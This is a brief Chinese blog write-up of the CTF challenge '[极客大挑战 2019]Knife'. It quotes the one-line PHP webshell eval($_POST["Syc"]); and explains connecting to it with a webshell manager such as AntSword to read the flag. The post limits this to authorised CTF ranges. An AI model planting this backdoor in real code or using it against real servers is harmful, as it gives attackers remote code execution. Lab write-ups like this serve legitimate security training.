跳到主要内容

极客大挑战_2019 Knife


已读 0%
本篇目录
阅读设置
正文字号
18

设置仅保存在当前浏览器。

[极客大挑战 2019]Knife

eval($_POST["Syc"]);

eval($_POST["Syc"]); 本身就是一个典型的一句话 WebShell:服务端会把 POST 参数 Syc 的内容当 PHP 代码执行。

题目环境中可以使用蚁剑等 WebShell 管理工具连接,连接密码/参数名为 Syc,随后读取 flag。这里只适用于授权 CTF 靶场,不应对真实站点使用。


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
赏
评论

评论将在接近此处时加载,也可点击立即加载。

  目录